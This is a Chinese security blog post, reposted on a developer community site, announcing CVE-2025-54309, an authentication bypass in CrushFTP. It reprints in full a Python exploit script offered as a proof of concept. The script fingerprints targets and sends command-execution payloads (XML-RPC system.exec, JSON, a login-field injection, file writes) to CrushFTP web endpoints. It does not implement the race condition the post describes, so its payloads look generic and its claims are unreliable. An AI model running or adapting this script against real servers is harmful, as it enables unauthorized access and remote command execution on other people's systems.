首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2025-54309|CrushFTP身份验证绕过漏洞(POC)

CVE-2025-54309|CrushFTP身份验证绕过漏洞(POC)

作者头像
信安百科
发布2025-09-02 11:37:37
发布2025-09-02 11:37:37
28700
代码可运行
举报
文章被收录于专栏:信安百科信安百科
运行总次数:0
代码可运行

0x00 前言

CrushFTP是一款支持FTP,FTPS,SFTP,HTTP,HTTPS,WebDAV,WebDAV SSL等协议的跨平台FTP服务器软件。

同时提供一个WEB接口让用户可以使用浏览器来管理他们的文件。

CrushFTP提供了许多安全特性,包括SSL/TLS加密、用户认证、目录权限控制等。CrushFTP被广泛用于企业、教育机构和个人用户之间安全地传输文件。

0x01 漏洞描述

洞源于CrushFTP在处理AS2信息头时存在竞争条件缺陷,攻击者可以通过精心构造的HTTPS请求序列绕过认证机制,获得管理员访问权限,进而执行任意系统命令,造成远程命令执行。

0x02 CVE编号

CVE-2025-54309

0x03 影响版本

代码语言:javascript
代码运行次数:0
运行
复制
CrushFTP 10.x < 10.8.5
CrushFTP 11.x < 11.3.4_23

0x04 漏洞详情

POC:

https://github.com/issamjr/CVE-2025-54309-EXPLOIT

代码语言:javascript
代码运行次数:0
运行
复制
#!/usr/bin/env python3
import argparse
import requests
import sys
import re
from colorama import Fore, Style, init

init(autoreset=True)

BANNER = f"""{Fore.RED}
   _____                _____ _____ _   _  ____  _   _
  / ____|              / ____|_   _| \\ | |/ __ \\| \\ | |
 | |     ___  _ __ ___| |      | | |  \\| | |  | |  \\| |
 | |    / _ \\| '__/ _ \\ |      | | | . ` | |  | | . ` |
 | |___| (_) | | |  __/ |____ _| |_| |\\  | |__| | |\\  |
  \\_____\\___/|_|  \\___|\\_____|_____|_| \\_|\\____/|_| \\_|
{Style.RESET_ALL}
        {Fore.YELLOW}CVE-2025-54309 - CRUSHFTP UNAUTH RCE
        Author: Issam Junior
"""
def print_status(msg, status="info"):
    if status == "success":
        print(f"{Fore.GREEN}[+] {msg}{Style.RESET_ALL}")
    elif status == "error":
        print(f"{Fore.RED}[-] {msg}{Style.RESET_ALL}")
    elif status == "warn":
        print(f"{Fore.YELLOW}[!] {msg}{Style.RESET_ALL}")
    else:
        print(f"{Fore.CYAN}[~] {msg}{Style.RESET_ALL}")

def fingerprint_version(target):
    """Attempt to fingerprint CrushFTP version via info endpoint or headers."""
    url = f"https://{target}/WebInterface/info/"
    try:
        resp = requests.get(url, verify=False, timeout=8)
        ver = re.search(r'"version":"([\d\.]+)"', resp.text)
        if ver:
            print_status(f"CrushFTP version detected: {ver.group(1)}", "success")
            return ver.group(1)
        # Sometimes the version is in Server header
        sv = resp.headers.get("Server")
        if sv and "CrushFTP" in sv:
            print_status(f"Server header: {sv}", "success")
            return sv
        print_status("Unable to fingerprint version. Proceeding anyway.", "warn")
    except Exception as e:
        print_status(f"Version fingerprinting failed: {e}", "warn")

def generate_payload(payload_type, cmd, filename=None, filedata=None):
    """Generate payload based on type."""
    if payload_type == "xml":
        return (
            f'<?xml version="1.0"?>\n'
            f'<methodCall>\n'
            f'  <methodName>system.exec</methodName>\n'
            f'  <params><param><value><string>{cmd}</string></value></param></params>\n'
            f'</methodCall>\n'
        )
    elif payload_type == "cmd_inject":
        # Classic POST param injection
        return {"username": f"admin';{cmd};#", "password": "anything"}
    elif payload_type == "json":
        # Simulate JSON endpoint
        return {
            "method": "system.exec",
            "params": [cmd]
        }
    elif payload_type == "file_upload" and filename and filedata:
        # Simulate writing a file
        return (
            f'<?xml version="1.0"?>\n'
            f'<methodCall>\n'
            f'  <methodName>file.write</methodName>\n'
            f'  <params><param><value><string>{filename}</string></value></param>'
            f'  <param><value><string>{filedata}</string></value></param></params>\n'
            f'</methodCall>\n'
        )
    else:
        print_status("Unknown or incomplete payload type requested.", "error")
        sys.exit(2)

def parse_output(resp):
    """Parse and highlight command output from response."""
    out = ""
    # XML-RPC style
    m = re.search(r"<string>(.*?)</string>", resp, re.DOTALL)
    if m:
        out = m.group(1)
    else:
        # JSON style
        m = re.search(r'"result"\s*:\s*"([^"]+)"', resp)
        if m:
            out = m.group(1)
    if out:
        print(f"{Fore.GREEN}--- Command Output ---\n{out}\n{Style.RESET_ALL}")
    else:
        print_status("No command output detected. Raw response below.", "warn")
        print(resp)

def exploit(target, cmd, payload_type, upload_file=None, upload_data=None):
    endpoints = {
        "xml": f"https://{target}/WebInterface/function/",
        "cmd_inject": f"https://{target}/WebInterface/login/",
        "json": f"https://{target}/WebInterface/json/",
        "file_upload": f"https://{target}/WebInterface/function/"
    }
    headers = {
        "User-Agent": "CrushExploit/2.0",
        "Accept": "*/*"
    }
    if payload_type == "xml" or payload_type == "file_upload":
        headers["Content-Type"] = "application/xml"
        payload = generate_payload(payload_type, cmd, upload_file, upload_data)
        url = endpoints[payload_type]
        print_status(f"Sending XML payload to {url}", "info")
        try:
            resp = requests.post(url, data=payload, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200 and "methodResponse" in resp.text:
                print_status("Payload delivered. Parsing output...", "success")
                parse_output(resp.text)
            else:
                print_status("Target did not respond as expected.", "warn")
                print(resp.text)
        except Exception as e:
            print_status(f"Request failed: {e}", "error")
    elif payload_type == "cmd_inject":
        url = endpoints[payload_type]
        payload = generate_payload(payload_type, cmd)
        print_status(f"Sending classic injection to {url}", "info")
        try:
            resp = requests.post(url, data=payload, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200:
                print_status("Payload delivered. Parsing output...", "success")
                parse_output(resp.text)
            else:
                print_status("Target did not respond as expected.", "warn")
                print(resp.text)
        except Exception as e:
            print_status(f"Request failed: {e}", "error")
    elif payload_type == "json":
        url = endpoints[payload_type]
        payload = generate_payload(payload_type, cmd)
        headers["Content-Type"] = "application/json"
        print_status(f"Sending JSON payload to {url}", "info")
        try:
            resp = requests.post(url, json=payload, headers=headers, verify=False, timeout=10)
            if resp.status_code == 200:
                print_status("Payload delivered. Parsing output...", "success")
                parse_output(resp.text)
            else:
                print_status("Target did not respond as expected.", "warn")
                print(resp.text)
        except Exception as e:
            print_status(f"Request failed: {e}", "error")
    else:
        print_status("Invalid payload type selected.", "error")
        sys.exit(2)

def recon(target):
    """Recon mode: list available endpoints and basic info."""
    print_status("Running reconnaissance...", "info")
    endpoints = [
        "/WebInterface/function/",
        "/WebInterface/login/",
        "/WebInterface/json/",
        "/WebInterface/info/"
    ]
    for ep in endpoints:
        url = f"https://{target}{ep}"
        try:
            resp = requests.get(url, verify=False, timeout=7)
            print_status(f"Endpoint {ep}: {resp.status_code} - {resp.reason}")
            if resp.text and len(resp.text) < 500:
                print(f"{Fore.YELLOW}{resp.text}{Style.RESET_ALL}")
        except Exception as e:
            print_status(f"{ep} not accessible: {e}", "warn")

def main():
    print(BANNER)
    parser = argparse.ArgumentParser(
        description="CVE-2025-54309 | CrushFTP Unauth RCE Exploit (by Issam Junior)"
    )
    parser.add_argument("target", help="Target IP or domain (CrushFTP server)")
    parser.add_argument("-c", "--cmd", default="id", help="Command to execute (default: id)")
    parser.add_argument("-p", "--payload", choices=["xml", "cmd_inject", "json", "file_upload"], default="xml",
                        help="Payload type: xml, cmd_inject, json, file_upload (default: xml)")
    parser.add_argument("--upload-file", help="File name to upload (used with file_upload)")
    parser.add_argument("--upload-data", help="File data to upload (used with file_upload)")
    parser.add_argument("--recon", action="store_true", help="Run recon mode (endpoint scan + fingerprint)")
    args = parser.parse_args()

    if args.recon:
        fingerprint_version(args.target)
        recon(args.target)
        sys.exit(0)

    if args.payload == "file_upload":
        if not args.upload_file or not args.upload_data:
            print_status("File upload requires --upload-file and --upload-data", "error")
            sys.exit(2)
        exploit(args.target, args.cmd, args.payload, args.upload_file, args.upload_data)
    else:
        exploit(args.target, args.cmd, args.payload)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(BANNER)
        print_status("Usage: python3 exploit.py <target> [-c <cmd>] [-p <payload>] [--recon]", "error")
        sys.exit(1)
    main()

0x05 参考链接

https://www.crushftp.com/crush11wiki/Wiki.jsp?page=CompromiseJuly2025

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-08-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档